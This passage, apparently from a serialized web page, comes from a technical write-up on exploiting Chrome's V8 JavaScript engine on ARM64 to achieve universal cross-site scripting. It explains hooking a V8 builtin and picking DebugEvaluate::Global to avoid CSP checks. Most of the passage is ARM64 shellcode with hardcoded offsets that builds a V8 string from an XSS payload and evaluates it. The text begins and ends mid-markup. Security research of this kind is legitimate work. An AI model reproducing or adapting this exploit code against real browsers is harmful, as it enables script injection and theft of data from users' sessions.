knows\n",{"type":20,"tag":315,"props":138786,"children":138787},{"class":317,"line":21914},[138788],{"type":20,"tag":315,"props":138789,"children":138790},{},[138791],{"type":26,"value":138792},"// where to return\n",{"type":20,"tag":315,"props":138794,"children":138795},{"class":317,"line":21949},[138796],{"type":20,"tag":315,"props":138797,"children":138798},{},[138799],{"type":26,"value":138800},"mov x4, lr\n",{"type":20,"tag":315,"props":138802,"children":138803},{"class":317,"line":21957},[138804],{"type":20,"tag":315,"props":138805,"children":138806},{"emptyLinePlaceholder":15},[138807],{"type":26,"value":427},{"type":20,"tag":315,"props":138809,"children":138810},{"class":317,"line":21965},[138811],{"type":20,"tag":315,"props":138812,"children":138813},{},[138814],{"type":26,"value":138815},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":20,"tag":315,"props":138817,"children":138818},{"class":317,"line":21974},[138819],{"type":20,"tag":315,"props":138820,"children":138821},{},[138822],{"type":26,"value":138823},"ldp x15, lr, [sp], #16\n",{"type":20,"tag":315,"props":138825,"children":138826},{"class":317,"line":22016},[138827],{"type":20,"tag":315,"props":138828,"children":138829},{"emptyLinePlaceholder":15},[138830],{"type":26,"value":427},{"type":20,"tag":315,"props":138832,"children":138833},{"class":317,"line":22049},[138834],{"type":20,"tag":315,"props":138835,"children":138836},{},[138837],{"type":26,"value":138838},"ret x4\n",{"type":20,"tag":29,"props":138840,"children":138841},{},[138842,138844,138849,138851,138856,138858,138864],{"type":26,"value":138843},"At this point, we have successfully hooked ",{"type":20,"tag":119,"props":138845,"children":138847},{"className":138846},[],[138848],{"type":26,"value":137726},{"type":26,"value":138850}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":20,"tag":119,"props":138852,"children":138854},{"className":138853},[],[138855],{"type":26,"value":138242},{"type":26,"value":138857}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":20,"tag":119,"props":138859,"children":138861},{"className":138860},[],[138862],{"type":26,"value":138863},"Builtins_GlobalEval",{"type":26,"value":61},{"type":20,"tag":29,"props":138866,"children":138867},{},[138868,138873,138875,138880,138882,138887],{"type":20,"tag":119,"props":138869,"children":138871},{"className":138870},[],[138872],{"type":26,"value":138863},{"type":26,"value":138874}," takes a single ",{"type":20,"tag":119,"props":138876,"children":138878},{"className":138877},[],[138879],{"type":26,"value":46177},{"type":26,"value":138881}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":20,"tag":119,"props":138883,"children":138885},{"className":138884},[],[138886],{"type":26,"value":35964},{"type":26,"value":2884},{"type":20,"tag":305,"props":138889,"children":138891},{"code":138890,"language":27527,"meta":7,"className":27525,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[138892],{"type":20,"tag":119,"props":138893,"children":138894},{"__ignoreMap":7},[138895,138908,138915,138922,138965,138987,139013],{"type":20,"tag":315,"props":138896,"children":138897},{"class":317,"line":318},[138898,138903],{"type":20,"tag":315,"props":138899,"children":138900},{"style":345},[138901],{"type":26,"value":138902},"BUILTIN",{"type":20,"tag":315,"props":138904,"children":138905},{"style":328},[138906],{"type":26,"value":138907},"(GlobalEval) {\n",{"type":20,"tag":315,"props":138909,"children":138910},{"class":317,"line":356},[138911],{"type":20,"tag":315,"props":138912,"children":138913},{"style":328},[138914],{"type":26,"value":125411},{"type":20,"tag":315,"props":138916,"children":138917},{"class":317,"line":365},[138918],{"type":20,"tag":315,"props":138919,"children":138920},{"emptyLinePlaceholder":15},[138921],{"type":26,"value":427},{"type":20,"tag":315,"props":138923,"children":138924},{"class":317,"line":374},[138925,138930,138935,138939,138944,138948,138952,138956,138961],{"type":20,"tag":315,"props":138926,"children":138927},{"style":328},[138928],{"type":26,"value":138929}," if (!Builtins::",{"type":20,"tag":315,"props":138931,"children":138932},{"style":322},[138933],{"type":26,"value":138934},"AllowDynamicFunction",{"type":20,"tag":315,"props":138936,"children":138937},{"style":328},[138938],{"type":26,"value":1049},{"type":20,"tag":315,"props":138940,"children":138941},{"style":322},[138942],{"type":26,"value":138943},"isolate",{"type":20,"tag":315,"props":138945,"children":138946},{"style":328},[138947],{"type":26,"value":44},{"type":20,"tag":315,"props":138949,"children":138950},{"style":322},[138951],{"type":26,"value":113336},{"type":20,"tag":315,"props":138953,"children":138954},{"style":328},[138955],{"type":26,"value":44},{"type":20,"tag":315,"props":138957,"children":138958},{"style":322},[138959],{"type":26,"value":138960},"target_global_proxy",{"type":20,"tag":315,"props":138962,"children":138963},{"style":328},[138964],{"type":26,"value":33609},{"type":20,"tag":315,"props":138966,"children":138967},{"class":317,"line":383},[138968,138973,138977,138982],{"type":20,"tag":315,"props":138969,"children":138970},{"style":635},[138971],{"type":26,"value":138972}," isolate",{"type":20,"tag":315,"props":138974,"children":138975},{"style":328},[138976],{"type":26,"value":12158},{"type":20,"tag":315,"props":138978,"children":138979},{"style":345},[138980],{"type":26,"value":138981},"CountUsage",{"type":20,"tag":315,"props":138983,"children":138984},{"style":328},[138985],{"type":26,"value":138986},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":20,"tag":315,"props":138988,"children":138989},{"class":317,"line":407},[138990,138994,138999,139004,139009],{"type":20,"tag":315,"props":138991,"children":138992},{"style":525},[138993],{"type":26,"value":731},{"type":20,"tag":315,"props":138995,"children":138996},{"style":345},[138997],{"type":26,"value":138998}," ReadOnlyRoots",{"type":20,"tag":315,"props":139000,"children":139001},{"style":328},[139002],{"type":26,"value":139003},"(isolate).",{"type":20,"tag":315,"props":139005,"children":139006},{"style":345},[139007],{"type":26,"value":139008},"undefined_value",{"type":20,"tag":315,"props":139010,"children":139011},{"style":328},[139012],{"type":26,"value":568},{"type":20,"tag":315,"props":139014,"children":139015},{"class":317,"line":421},[139016],{"type":20,"tag":315,"props":139017,"children":139018},{"style":328},[139019],{"type":26,"value":4265},{"type":20,"tag":29,"props":139021,"children":139022},{},[139023,139025,139030],{"type":26,"value":139024},"This means we would need to patch the function further to ensure it never enters this ",{"type":20,"tag":119,"props":139026,"children":139028},{"className":139027},[],[139029],{"type":26,"value":528},{"type":26,"value":139031}," block.",{"type":20,"tag":29,"props":139033,"children":139034},{},[139035],{"type":26,"value":139036},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":20,"tag":305,"props":139038,"children":139040},{"code":139039,"language":27527,"meta":7,"className":27525,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[139041],{"type":20,"tag":119,"props":139042,"children":139043},{"__ignoreMap":7},[139044,139055,139062,139069,139076,139084,139096,139104,139121,139151,139159,139171],{"type":20,"tag":315,"props":139045,"children":139046},{"class":317,"line":318},[139047,139051],{"type":20,"tag":315,"props":139048,"children":139049},{"style":345},[139050],{"type":26,"value":138902},{"type":20,"tag":315,"props":139052,"children":139053},{"style":328},[139054],{"type":26,"value":138907},{"type":20,"tag":315,"props":139056,"children":139057},{"class":317,"line":356},[139058],{"type":20,"tag":315,"props":139059,"children":139060},{"emptyLinePlaceholder":15},[139061],{"type":26,"value":427},{"type":20,"tag":315,"props":139063,"children":139064},{"class":317,"line":365},[139065],{"type":20,"tag":315,"props":139066,"children":139067},{"style":328},[139068],{"type":26,"value":125411},{"type":20,"tag":315,"props":139070,"children":139071},{"class":317,"line":374},[139072],{"type":20,"tag":315,"props":139073,"children":139074},{"emptyLinePlaceholder":15},[139075],{"type":26,"value":427},{"type":20,"tag":315,"props":139077,"children":139078},{"class":317,"line":383},[139079],{"type":20,"tag":315,"props":139080,"children":139081},{"style":328},[139082],{"type":26,"value":139083}," DirectHandle\u003CJSFunction> function;\n",{"type":20,"tag":315,"props":139085,"children":139086},{"class":317,"line":407},[139087,139092],{"type":20,"tag":315,"props":139088,"children":139089},{"style":345},[139090],{"type":26,"value":139091}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":20,"tag":315,"props":139093,"children":139094},{"style":328},[139095],{"type":26,"value":353},{"type":20,"tag":315,"props":139097,"children":139098},{"class":317,"line":421},[139099],{"type":20,"tag":315,"props":139100,"children":139101},{"style":328},[139102],{"type":26,"value":139103}," isolate, function,\n",{"type":20,"tag":315,"props":139105,"children":139106},{"class":317,"line":430},[139107,139112,139117],{"type":20,"tag":315,"props":139108,"children":139109},{"style":328},[139110],{"type":26,"value":139111}," Compiler::",{"type":20,"tag":315,"props":139113,"children":139114},{"style":345},[139115],{"type":26,"value":139116},"GetFunctionFromValidatedString",{"type":20,"tag":315,"props":139118,"children":139119},{"style":328},[139120],{"type":26,"value":353},{"type":20,"tag":315,"props":139122,"children":139123},{"class":317,"line":453},[139124,139129,139133,139137,139141,139146],{"type":20,"tag":315,"props":139125,"children":139126},{"style":345},[139127],{"type":26,"value":139128}," direct_handle",{"type":20,"tag":315,"props":139130,"children":139131},{"style":328},[139132],{"type":26,"value":1049},{"type":20,"tag":315,"props":139134,"children":139135},{"style":635},[139136],{"type":26,"value":113336},{"type":20,"tag":315,"props":139138,"children":139139},{"style":328},[139140],{"type":26,"value":12158},{"type":20,"tag":315,"props":139142,"children":139143},{"style":345},[139144],{"type":26,"value":139145},"native_context",{"type":20,"tag":315,"props":139147,"children":139148},{"style":328},[139149],{"type":26,"value":139150},"(), isolate), source,\n",{"type":20,"tag":315,"props":139152,"children":139153},{"class":317,"line":486},[139154],{"type":20,"tag":315,"props":139155,"children":139156},{"style":328},[139157],{"type":26,"value":139158}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":20,"tag":315,"props":139160,"children":139161},{"class":317,"line":499},[139162,139167],{"type":20,"tag":315,"props":139163,"children":139164},{"style":345},[139165],{"type":26,"value":139166}," RETURN_RESULT_OR_FAILURE",{"type":20,"tag":315,"props":139168,"children":139169},{"style":328},[139170],{"type":26,"value":353},{"type":20,"tag":315,"props":139172,"children":139173},{"class":317,"line":513},[139174,139179,139184],{"type":20,"tag":315,"props":139175,"children":139176},{"style":328},[139177],{"type":26,"value":139178}," isolate, Execution::",{"type":20,"tag":315,"props":139180,"children":139181},{"style":345},[139182],{"type":26,"value":139183},"Call",{"type":20,"tag":315,"props":139185,"children":139186},{"style":328},[139187],{"type":26,"value":139188},"(isolate, function, target_global_proxy, {}));\n",{"type":20,"tag":29,"props":139190,"children":139191},{},[139192,139194,139199,139201,139207,139209,139215,139217,139223],{"type":26,"value":139193},"But determining the correct ",{"type":20,"tag":119,"props":139195,"children":139197},{"className":139196},[],[139198],{"type":26,"value":113336},{"type":26,"value":139200}," value, obtaining ",{"type":20,"tag":119,"props":139202,"children":139204},{"className":139203},[],[139205],{"type":26,"value":139206},"target->native_context()",{"type":26,"value":139208},", and locating the ",{"type":20,"tag":119,"props":139210,"children":139212},{"className":139211},[],[139213],{"type":26,"value":139214},"direct_handle",{"type":26,"value":139216}," function, just to make a proper call to ",{"type":20,"tag":119,"props":139218,"children":139220},{"className":139219},[],[139221],{"type":26,"value":139222},"Compiler::GetFunctionFromValidatedString",{"type":26,"value":139224},", seemed unnecessarily cumbersome.",{"type":20,"tag":29,"props":139226,"children":139227},{},[139228,139230,139236],{"type":26,"value":139229},"Instead, we found a much simpler option with no security checks: ",{"type":20,"tag":119,"props":139231,"children":139233},{"className":139232},[],[139234],{"type":26,"value":139235},"DebugEvaluate::Global",{"type":26,"value":139237},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":20,"tag":29,"props":139239,"children":139240},{},[139241],{"type":26,"value":139242},"For our needs, it is straightforward to call:",{"type":20,"tag":305,"props":139244,"children":139246},{"code":139245,"language":27527,"meta":7,"className":27525,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[139247],{"type":20,"tag":119,"props":139248,"children":139249},{"__ignoreMap":7},[139250,139298,139327,139348],{"type":20,"tag":315,"props":139251,"children":139252},{"class":317,"line":318},[139253,139258,139262,139266,139271,139276,139280,139285,139289,139294],{"type":20,"tag":315,"props":139254,"children":139255},{"style":322},[139256],{"type":26,"value":139257},"MaybeDirectHandle",{"type":20,"tag":315,"props":139259,"children":139260},{"style":328},[139261],{"type":26,"value":4199},{"type":20,"tag":315,"props":139263,"children":139264},{"style":322},[139265],{"type":26,"value":47102},{"type":20,"tag":315,"props":139267,"children":139268},{"style":328},[139269],{"type":26,"value":139270},"> DebugEvaluate::",{"type":20,"tag":315,"props":139272,"children":139273},{"style":345},[139274],{"type":26,"value":139275},"Global",{"type":20,"tag":315,"props":139277,"children":139278},{"style":328},[139279],{"type":26,"value":1049},{"type":20,"tag":315,"props":139281,"children":139282},{"style":322},[139283],{"type":26,"value":139284},"Isolate",{"type":20,"tag":315,"props":139286,"children":139287},{"style":541},[139288],{"type":26,"value":901},{"type":20,"tag":315,"props":139290,"children":139291},{"style":635},[139292],{"type":26,"value":139293}," isolate",{"type":20,"tag":315,"props":139295,"children":139296},{"style":328},[139297],{"type":26,"value":643},{"type":20,"tag":315,"props":139299,"children":139300},{"class":317,"line":356},[139301,139306,139310,139314,139318,139323],{"type":20,"tag":315,"props":139302,"children":139303},{"style":322},[139304],{"type":26,"value":139305}," Handle",{"type":20,"tag":315,"props":139307,"children":139308},{"style":328},[139309],{"type":26,"value":4199},{"type":20,"tag":315,"props":139311,"children":139312},{"style":322},[139313],{"type":26,"value":46177},{"type":20,"tag":315,"props":139315,"children":139316},{"style":328},[139317],{"type":26,"value":4214},{"type":20,"tag":315,"props":139319,"children":139320},{"style":635},[139321],{"type":26,"value":139322},"source",{"type":20,"tag":315,"props":139324,"children":139325},{"style":328},[139326],{"type":26,"value":643},{"type":20,"tag":315,"props":139328,"children":139329},{"class":317,"line":365},[139330,139335,139340,139344],{"type":20,"tag":315,"props":139331,"children":139332},{"style":328},[139333],{"type":26,"value":139334}," debug::",{"type":20,"tag":315,"props":139336,"children":139337},{"style":322},[139338],{"type":26,"value":139339},"EvaluateGlobalMode",{"type":20,"tag":315,"props":139341,"children":139342},{"style":635},[139343],{"type":26,"value":104532},{"type":20,"tag":315,"props":139345,"children":139346},{"style":328},[139347],{"type":26,"value":643},{"type":20,"tag":315,"props":139349,"children":139350},{"class":317,"line":374},[139351,139356,139361],{"type":20,"tag":315,"props":139352,"children":139353},{"style":322},[139354],{"type":26,"value":139355}," REPLMode",{"type":20,"tag":315,"props":139357,"children":139358},{"style":635},[139359],{"type":26,"value":139360}," repl_mode",{"type":20,"tag":315,"props":139362,"children":139363},{"style":328},[139364],{"type":26,"value":2214},{"type":20,"tag":29,"props":139366,"children":139367},{},[139368,139370,139375,139377,139382,139384,139389,139391,139397,139398,139404],{"type":26,"value":139369},"We must supply the ",{"type":20,"tag":119,"props":139371,"children":139373},{"className":139372},[],[139374],{"type":26,"value":138943},{"type":26,"value":139376}," pointer, a ",{"type":20,"tag":119,"props":139378,"children":139380},{"className":139379},[],[139381],{"type":26,"value":46177},{"type":26,"value":139383}," object containing our XSS payload as ",{"type":20,"tag":119,"props":139385,"children":139387},{"className":139386},[],[139388],{"type":26,"value":139322},{"type":26,"value":139390},", and the ",{"type":20,"tag":119,"props":139392,"children":139394},{"className":139393},[],[139395],{"type":26,"value":139396},"mode",{"type":26,"value":9392},{"type":20,"tag":119,"props":139399,"children":139401},{"className":139400},[],[139402],{"type":26,"value":139403},"repl_mode",{"type":26,"value":139405}," values, which are simple enum literals.",{"type":20,"tag":29,"props":139407,"children":139408},{},[139409,139411,139416,139418,139424,139426,139431,139433,139438,139440,139446,139448,139454,139456,139461,139463,139468,139470,139475,139477,139482],{"type":26,"value":139410},"To obtain the ",{"type":20,"tag":119,"props":139412,"children":139414},{"className":139413},[],[139415],{"type":26,"value":138943},{"type":26,"value":139417}," pointer within our shellcode, we call ",{"type":20,"tag":119,"props":139419,"children":139421},{"className":139420},[],[139422],{"type":26,"value":139423},"Isolate::TryGetCurrent()",{"type":26,"value":139425},", which returns the current ",{"type":20,"tag":119,"props":139427,"children":139429},{"className":139428},[],[139430],{"type":26,"value":138943},{"type":26,"value":139432},". To construct a valid ",{"type":20,"tag":119,"props":139434,"children":139436},{"className":139435},[],[139437],{"type":26,"value":46177},{"type":26,"value":139439}," object holding our payload, we call ",{"type":20,"tag":119,"props":139441,"children":139443},{"className":139442},[],[139444],{"type":26,"value":139445},"v8::String::NewFromUTF8",{"type":26,"value":139447},". This ",{"type":20,"tag":119,"props":139449,"children":139451},{"className":139450},[],[139452],{"type":26,"value":139453},"NewFromUTF8",{"type":26,"value":139455}," function takes four arguments: the ",{"type":20,"tag":119,"props":139457,"children":139459},{"className":139458},[],[139460],{"type":26,"value":138943},{"type":26,"value":139462},", the string bytes as ",{"type":20,"tag":119,"props":139464,"children":139466},{"className":139465},[],[139467],{"type":26,"value":2085},{"type":26,"value":139469},", an enum literal specifying the string type, and ",{"type":20,"tag":119,"props":139471,"children":139473},{"className":139472},[],[139474],{"type":26,"value":6900},{"type":26,"value":139476},", which is the size of the ",{"type":20,"tag":119,"props":139478,"children":139480},{"className":139479},[],[139481],{"type":26,"value":2085},{"type":26,"value":15566},{"type":20,"tag":29,"props":139484,"children":139485},{},[139486],{"type":26,"value":139487},"The resulting shellcode that executes our XSS payload looks like this:",{"type":20,"tag":305,"props":139489,"children":139491},{"code":139490,"language":137779,"meta":7,"className":137780,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[139492],{"type":20,"tag":119,"props":139493,"children":139494},{"__ignoreMap":7},[139495,139503,139511,139519,139527,139535,139543,139551,139559,139567,139575,139583,139591,139598,139606,139614,139622,139630,139637,139645,139652,139660,139668,139675,139682,139689,139696,139703,139710,139718,139726,139733,139741,139749,139756,139764,139772,139779,139786,139794,139802,139810,139817,139825,139833,139841,139849,139857,139865,139873,139881,139889,139897,139905,139912,139920,139928,139935,139943,139951,139959,139967,139974,139982,139989,139996,140004,140012,140020,140028,140037,140046,140054],{"type":20,"tag":315,"props":139496,"children":139497},{"class":317,"line":318},[139498],{"type":20,"tag":315,"props":139499,"children":139500},{},[139501],{"type":26,"value":139502},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":20,"tag":315,"props":139504,"children":139505},{"class":317,"line":356},[139506],{"type":20,"tag":315,"props":139507,"children":139508},{},[139509],{"type":26,"value":139510},"movz x1, #0xf7a0\n",{"type":20,"tag":315,"props":139512,"children":139513},{"class":317,"line":365},[139514],{"type":20,"tag":315,"props":139515,"children":139516},{},[139517],{"type":26,"value":139518},"movk x1, #0x0071, lsl #16\n",{"type":20,"tag":315,"props":139520,"children":139521},{"class":317,"line":374},[139522],{"type":20,"tag":315,"props":139523,"children":139524},{},[139525],{"type":26,"value":139526},"add x9, x12, x1\n",{"type":20,"tag":315,"props":139528,"children":139529},{"class":317,"line":383},[139530],{"type":20,"tag":315,"props":139531,"children":139532},{},[139533],{"type":26,"value":139534},"movz x1, #0x5ac8\n",{"type":20,"tag":315,"props":139536,"children":139537},{"class":317,"line":407},[139538],{"type":20,"tag":315,"props":139539,"children":139540},{},[139541],{"type":26,"value":139542},"movk x1, #0x054f, lsl #16\n",{"type":20,"tag":315,"props":139544,"children":139545},{"class":317,"line":421},[139546],{"type":20,"tag":315,"props":139547,"children":139548},{},[139549],{"type":26,"value":139550},"add x0, x12, x1\n",{"type":20,"tag":315,"props":139552,"children":139553},{"class":317,"line":430},[139554],{"type":20,"tag":315,"props":139555,"children":139556},{},[139557],{"type":26,"value":139558},"blr x9\n",{"type":20,"tag":315,"props":139560,"children":139561},{"class":317,"line":453},[139562],{"type":20,"tag":315,"props":139563,"children":139564},{},[139565],{"type":26,"value":139566},"// *x0 is isolate pointer\n",{"type":20,"tag":315,"props":139568,"children":139569},{"class":317,"line":486},[139570],{"type":20,"tag":315,"props":139571,"children":139572},{},[139573],{"type":26,"value":139574},"// store isolate ptr to stack\n",{"type":20,"tag":315,"props":139576,"children":139577},{"class":317,"line":499},[139578],{"type":20,"tag":315,"props":139579,"children":139580},{},[139581],{"type":26,"value":139582},"ldr x13, [x0]\n",{"type":20,"tag":315,"props":139584,"children":139585},{"class":317,"line":513},[139586],{"type":20,"tag":315,"props":139587,"children":139588},{},[139589],{"type":26,"value":139590},"str x13, [sp, #-16]!\n",{"type":20,"tag":315,"props":139592,"children":139593},{"class":317,"line":521},[139594],{"type":20,"tag":315,"props":139595,"children":139596},{"emptyLinePlaceholder":15},[139597],{"type":26,"value":427},{"type":20,"tag":315,"props":139599,"children":139600},{"class":317,"line":552},[139601],{"type":20,"tag":315,"props":139602,"children":139603},{},[139604],{"type":26,"value":139605},"// store x10 = v8::String::NewFromUTF8\n",{"type":20,"tag":315,"props":139607,"children":139608},{"class":317,"line":571},[139609],{"type":20,"tag":315,"props":139610,"children":139611},{},[139612],{"type":26,"value":139613},"movz x1, #0x1140\n",{"type":20,"tag":315,"props":139615,"children":139616},{"class":317,"line":2031},[139617],{"type":20,"tag":315,"props":139618,"children":139619},{},[139620],{"type":26,"value":139621},"movk x1, #0x0242, lsl #16\n",{"type":20,"tag":315,"props":139623,"children":139624},{"class":317,"line":2053},[139625],{"type":20,"tag":315,"props":139626,"children":139627},{},[139628],{"type":26,"value":139629},"sub x10, x12, x1\n",{"type":20,"tag":315,"props":139631,"children":139632},{"class":317,"line":2061},[139633],{"type":20,"tag":315,"props":139634,"children":139635},{"emptyLinePlaceholder":15},[139636],{"type":26,"value":427},{"type":20,"tag":315,"props":139638,"children":139639},{"class":317,"line":2070},[139640],{"type":20,"tag":315,"props":139641,"children":139642},{},[139643],{"type":26,"value":139644},"// mmap a RW page for our xss payload\n",{"type":20,"tag":315,"props":139646,"children":139647},{"class":317,"line":2139},[139648],{"type":20,"tag":315,"props":139649,"children":139650},{},[139651],{"type":26,"value":137995},{"type":20,"tag":315,"props":139653,"children":139654},{"class":317,"line":2147},[139655],{"type":20,"tag":315,"props":139656,"children":139657},{},[139658],{"type":26,"value":139659},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":20,"tag":315,"props":139661,"children":139662},{"class":317,"line":2177},[139663],{"type":20,"tag":315,"props":139664,"children":139665},{},[139666],{"type":26,"value":139667},"mov x2, #3\n",{"type":20,"tag":315,"props":139669,"children":139670},{"class":317,"line":2185},[139671],{"type":20,"tag":315,"props":139672,"children":139673},{},[139674],{"type":26,"value":138018},{"type":20,"tag":315,"props":139676,"children":139677},{"class":317,"line":2217},[139678],{"type":20,"tag":315,"props":139679,"children":139680},{},[139681],{"type":26,"value":138026},{"type":20,"tag":315,"props":139683,"children":139684},{"class":317,"line":2225},[139685],{"type":20,"tag":315,"props":139686,"children":139687},{},[139688],{"type":26,"value":138034},{"type":20,"tag":315,"props":139690,"children":139691},{"class":317,"line":2285},[139692],{"type":20,"tag":315,"props":139693,"children":139694},{},[139695],{"type":26,"value":138042},{"type":20,"tag":315,"props":139697,"children":139698},{"class":317,"line":7444},[139699],{"type":20,"tag":315,"props":139700,"children":139701},{},[139702],{"type":26,"value":137957},{"type":20,"tag":315,"props":139704,"children":139705},{"class":317,"line":7462},[139706],{"type":20,"tag":315,"props":139707,"children":139708},{"emptyLinePlaceholder":15},[139709],{"type":26,"value":427},{"type":20,"tag":315,"props":139711,"children":139712},{"class":317,"line":7507},[139713],{"type":20,"tag":315,"props":139714,"children":139715},{},[139716],{"type":26,"value":139717},"// write our xss payload to mmapped rw page\n",{"type":20,"tag":315,"props":139719,"children":139720},{"class":317,"line":7613},[139721],{"type":20,"tag":315,"props":139722,"children":139723},{},[139724],{"type":26,"value":139725},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":20,"tag":315,"props":139727,"children":139728},{"class":317,"line":21914},[139729],{"type":20,"tag":315,"props":139730,"children":139731},{"emptyLinePlaceholder":15},[139732],{"type":26,"value":427},{"type":20,"tag":315,"props":139734,"children":139735},{"class":317,"line":21949},[139736],{"type":20,"tag":315,"props":139737,"children":139738},{},[139739],{"type":26,"value":139740},"// store x11 = XSS_PAYLOAD string\n",{"type":20,"tag":315,"props":139742,"children":139743},{"class":317,"line":21957},[139744],{"type":20,"tag":315,"props":139745,"children":139746},{},[139747],{"type":26,"value":139748},"mov x11, x0\n",{"type":20,"tag":315,"props":139750,"children":139751},{"class":317,"line":21965},[139752],{"type":20,"tag":315,"props":139753,"children":139754},{"emptyLinePlaceholder":15},[139755],{"type":26,"value":427},{"type":20,"tag":315,"props":139757,"children":139758},{"class":317,"line":21974},[139759],{"type":20,"tag":315,"props":139760,"children":139761},{},[139762],{"type":26,"value":139763},"// pop back isolate pointer\n",{"type":20,"tag":315,"props":139765,"children":139766},{"class":317,"line":22016},[139767],{"type":20,"tag":315,"props":139768,"children":139769},{},[139770],{"type":26,"value":139771},"ldr x13, [sp], #16\n",{"type":20,"tag":315,"props":139773,"children":139774},{"class":317,"line":22049},[139775],{"type":20,"tag":315,"props":139776,"children":139777},{"emptyLinePlaceholder":15},[139778],{"type":26,"value":427},{"type":20,"tag":315,"props":139780,"children":139781},{"class":317,"line":22057},[139782],{"type":20,"tag":315,"props":139783,"children":139784},{},[139785],{"type":26,"value":138078},{"type":20,"tag":315,"props":139787,"children":139788},{"class":317,"line":22065},[139789],{"type":20,"tag":315,"props":139790,"children":139791},{},[139792],{"type":26,"value":139793},"// x13 = isolate *\n",{"type":20,"tag":315,"props":139795,"children":139796},{"class":317,"line":22074},[139797],{"type":20,"tag":315,"props":139798,"children":139799},{},[139800],{"type":26,"value":139801},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":20,"tag":315,"props":139803,"children":139804},{"class":317,"line":22150},[139805],{"type":20,"tag":315,"props":139806,"children":139807},{},[139808],{"type":26,"value":139809},"// x10 = v8::String::NewFromUtf8\n",{"type":20,"tag":315,"props":139811,"children":139812},{"class":317,"line":22183},[139813],{"type":20,"tag":315,"props":139814,"children":139815},{"emptyLinePlaceholder":15},[139816],{"type":26,"value":427},{"type":20,"tag":315,"props":139818,"children":139819},{"class":317,"line":22191},[139820],{"type":20,"tag":315,"props":139821,"children":139822},{},[139823],{"type":26,"value":139824},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":20,"tag":315,"props":139826,"children":139827},{"class":317,"line":22199},[139828],{"type":20,"tag":315,"props":139829,"children":139830},{},[139831],{"type":26,"value":139832},"// arg0 = isolate *\n",{"type":20,"tag":315,"props":139834,"children":139835},{"class":317,"line":22236},[139836],{"type":20,"tag":315,"props":139837,"children":139838},{},[139839],{"type":26,"value":139840},"mov x0, x13\n",{"type":20,"tag":315,"props":139842,"children":139843},{"class":317,"line":22249},[139844],{"type":20,"tag":315,"props":139845,"children":139846},{},[139847],{"type":26,"value":139848},"// arg1 = char *c_str\n",{"type":20,"tag":315,"props":139850,"children":139851},{"class":317,"line":22262},[139852],{"type":20,"tag":315,"props":139853,"children":139854},{},[139855],{"type":26,"value":139856},"mov x1, x11\n",{"type":20,"tag":315,"props":139858,"children":139859},{"class":317,"line":22275},[139860],{"type":20,"tag":315,"props":139861,"children":139862},{},[139863],{"type":26,"value":139864},"// arg2 = type = kNormal\n",{"type":20,"tag":315,"props":139866,"children":139867},{"class":317,"line":22329},[139868],{"type":20,"tag":315,"props":139869,"children":139870},{},[139871],{"type":26,"value":139872},"mov x2, #0\n",{"type":20,"tag":315,"props":139874,"children":139875},{"class":317,"line":22338},[139876],{"type":20,"tag":315,"props":139877,"children":139878},{},[139879],{"type":26,"value":139880},"// arg4 = 